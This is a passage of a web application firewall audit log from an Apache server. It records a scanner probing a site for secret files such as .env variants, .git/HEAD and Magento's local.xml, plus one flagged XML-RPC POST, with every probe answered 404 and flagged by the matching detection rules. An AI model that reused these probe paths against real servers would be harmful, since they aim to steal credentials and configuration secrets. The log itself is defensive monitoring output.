"Generic"] [hostname "www.mindscan.edu.in"] [uri "/public/.env"] [unique_id "aE9mGTC9bb-fhYp4LpFREgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033945519235 701433 (- - -) Stopwatch2: 1750033945519235 701433; combined=2109, p1=434, p2=1507, p3=0, p4=0, p5=167, sr=115, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bca9591e-Z-- --5c06ae5b-A-- [16/Jun/2025:06:02:36.596082 +0530] aE9mI9NEcm-DhAkC0ibcowAAAAY 185.177.72.210 42576 127.0.0.1 7081 --5c06ae5b-B-- GET /old/.env.old HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5c06ae5b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1c78c356197e100faf68c442c902c9071750033956; expires=Mon, 16 Jun 2025 01:32:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5c06ae5b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/old/.env.old"] [unique_id "aE9mI9NEcm-DhAkC0ibcowAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.old"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/old/.env.old"] [unique_id "aE9mI9NEcm-DhAkC0ibcowAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033955894405 701775 (- - -) Stopwatch2: 1750033955894405 701775; combined=2196, p1=387, p2=1666, p3=0, p4=0, p5=143, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5c06ae5b-Z-- --c8cfa569-A-- [16/Jun/2025:06:02:49.840061 +0530] aE9mMdVsbyFDndheOrk1XAAAAAE 185.177.72.210 46936 127.0.0.1 7081 --c8cfa569-B-- GET /:8080/sicherung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c8cfa569-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=76032a28ce19e289e80d6bf5cd8fa3d21750033969; expires=Mon, 16 Jun 2025 01:32:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c8cfa569-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/sicherung/.env"] [unique_id "aE9mMdVsbyFDndheOrk1XAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033969179205 660919 (- - -) Stopwatch2: 1750033969179205 660919; combined=1882, p1=370, p2=1421, p3=0, p4=0, p5=90, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c8cfa569-Z-- --3e6f6f7f-A-- [16/Jun/2025:06:02:55.037596 +0530] aE9mNi2Tu2VxEl4lA7DdnAAAAAw 185.177.72.210 45150 127.0.0.1 7081 --3e6f6f7f-B-- GET /:8888/.c9/metadata/environment/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3e6f6f7f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=58cfb590e8b3159834f4b9e4a33fa86a1750033974; expires=Mon, 16 Jun 2025 01:32:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3e6f6f7f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.c9/metadata/environment/.env"] [unique_id "aE9mNi2Tu2VxEl4lA7DdnAAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033974363572 674087 (- - -) Stopwatch2: 1750033974363572 674087; combined=1796, p1=413, p2=1288, p3=0, p4=0, p5=95, sr=104, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3e6f6f7f-Z-- --a6d6c14e-A-- [16/Jun/2025:06:02:56.074987 +0530] aE9mNzC9bb-fhYp4LpFRIAAAAAM 185.177.72.210 45198 127.0.0.1 7081 --a6d6c14e-B-- GET /.git/HEAD HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a6d6c14e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5667221d2f1c2de8c3ee087d34e534101750033975; expires=Mon, 16 Jun 2025 01:32:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a6d6c14e-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.git/HEAD"] [unique_id "aE9mNzC9bb-fhYp4LpFRIAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033975414092 660959 (- - -) Stopwatch2: 1750033975414092 660959; combined=1640, p1=369, p2=1180, p3=0, p4=0, p5=91, sr=93, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a6d6c14e-Z-- --470e0472-A-- [16/Jun/2025:06:03:04.634984 +0530] aE9mPzC9bb-fhYp4LpFRJAAAAAM 185.177.72.210 44464 127.0.0.1 7081 --470e0472-B-- GET /:8000/.env.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --470e0472-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d9e1ed790298d1fa10b02449ec43979b1750033984; expires=Mon, 16 Jun 2025 01:33:04 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --470e0472-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/.env.example"] [unique_id "aE9mPzC9bb-fhYp4LpFRJAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033983952397 682691 (- - -) Stopwatch2: 1750033983952397 682691; combined=2042, p1=386, p2=1526, p3=0, p4=0, p5=130, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --470e0472-Z-- --a449705b-A-- [16/Jun/2025:06:03:06.748631 +0530] aE9mQp_Rv4EBtUyS5c4F9gAAAAU 185.177.72.210 44536 127.0.0.1 7081 --a449705b-B-- GET /app/etc/local.xml.localRemote HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a449705b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=88d66403937601286d3ea0c32ca3deb61750033986; expires=Mon, 16 Jun 2025 01:33:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a449705b-H-- Message: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/app/etc/local.xml" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/app/etc/local.xml.localRemote"] [unique_id "aE9mQp_Rv4EBtUyS5c4F9gAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033986087126 661569 (- - -) Stopwatch2: 1750033986087126 661569; combined=1991, p1=417, p2=1478, p3=0, p4=0, p5=96, sr=90, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a449705b-Z-- --e9c17a3e-A-- [16/Jun/2025:06:03:11.985250 +0530] aE9mR_bo0R64L12N_alVHgAAAAQ 185.177.72.210 55908 127.0.0.1 7081 --e9c17a3e-B-- GET /letsencrypt/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e9c17a3e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3bb4736b6a6e24185f7661818441f46b1750033991; expires=Mon, 16 Jun 2025 01:33:11 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e9c17a3e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/letsencrypt/.env"] [unique_id "aE9mR_bo0R64L12N_alVHgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033991299702 685623 (- - -) Stopwatch2: 1750033991299702 685623; combined=2125, p1=468, p2=1564, p3=0, p4=0, p5=92, sr=111, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e9c17a3e-Z-- --1bb6e12d-A-- [16/Jun/2025:06:03:17.086312 +0530] aE9mTPbo0R64L12N_alVIAAAAAQ 128.199.112.101 56114 127.0.0.1 7081 --1bb6e12d-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 490 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --1bb6e12d-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --1bb6e12d-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9mTPbo0R64L12N_alVIAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750033996155431 930936 (- - -) Stopwatch2: 1750033996155431 930936; combined=2992, p1=538, p2=2044, p3=53, p4=68, p5=179, sr=161, sw=110, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1bb6e12d-Z-- --5b408e08-A-- [16/Jun/2025:06:03:35.285816 +0530] aE9mXqpdvXW4_hknQUU1tAAAAAo 185.177.72.210 34568 127.0.0.1 7081 --5b408e08-B-- GET /:8000/dashboard/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5b408e08-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=74578562137f5f32d6cfe1829fc88e571750034015; expires=Mon, 16 Jun 2025 01:33:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5b408e08-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/dashboard/.env"] [unique_id "aE9mXqpdvXW4_hknQUU1tAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034014620178 665715 (- - -) Stopwatch2: 1750034014620178 665715; combined=2014, p1=413, p2=1496, p3=0, p4=0, p5=104, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5b408e08-Z-- --7bffe035-A-- [16/Jun/2025:06:03:43.900529 +0530] aE9mZw9THibLN0xLxETwogAAAAk 185.177.72.210 53408 127.0.0.1 7081 --7bffe035-B-- GET /:5601/.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7bffe035-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e7a2ffaf4d2e9bbec541a94ba1d1f08f1750034023; expires=Mon, 16 Jun 2025 01:33:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7bffe035-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.backup"] [unique_id "aE9mZw9THibLN0xLxETwogAAAAk"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.backup"] [unique_id "aE9mZw9THibLN0xLxETwogAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034023233201 667417 (- - -) Stopwatch2: 1750034023233201 667417; combined=2065, p1=384, p2=1475, p3=0, p4=0, p5=206, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7bffe035-Z-- --cff97b7f-A-- [16/Jun/2025:06:03:48.819327 +0530] aE9mbNNEcm-DhAkC0ibc0AAAAAY 185.177.72.210 53626 127.0.0.1 7081 --cff97b7f-B-- GET /hgs-static/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --cff97b7f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1d7f736aae83f192eb3eff812b8dbfb61750034028; expires=Mon, 16 Jun 2025 01:33:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --cff97b7f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/hgs-static/.env"] [unique_id "aE9mbNNEcm-DhAkC0ibc0AAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034028091937 727451 (- - -) Stopwatch2: 1750034028091937 727451; combined=1912, p1=445, p2=1358, p3=0, p4=0, p5=108, sr=113, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --cff97b7f-Z-- --c20b4e6d-A-- [16/Jun/2025:06:03:55.335251 +0530] aE9mcp_Rv4EBtUyS5c4GGAAAAAU 185.177.72.210 40862 127.0.0.1 7081 --c20b4e6d-B-- GET /:8880/.env.2 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c20b4e6d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3a83a9a49ab784e60a6c338353c25bcc1750034035; expires=Mon, 16 Jun 2025 01:33:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c20b4e6d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.2"] [unique_id "aE9mcp_Rv4EBtUyS5c4GGAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750034034658960 676369 (- - -) Stopwatch2: 1750034034658960 676369; combined=2087, p1=375, p2=1593, p3=0, p4=0, p5=118, sr=81, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c20b4e6d-Z-- --fcd4ae54-A-- [16/Jun/2025:06:04:03.900053 +0530] aE9me_bo0R64L12N_alVPgAAAAQ 185.177.72.210 32820 127.0.0.1 7081 --fcd4ae54-B-- GET /:10000/dashboard/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fcd4ae54-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=322126f2478b56ce4b3904fe900302981750034043; expires=Mon, 16 Jun 2025 01:34:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fcd4ae54-H-- Message: Warning. 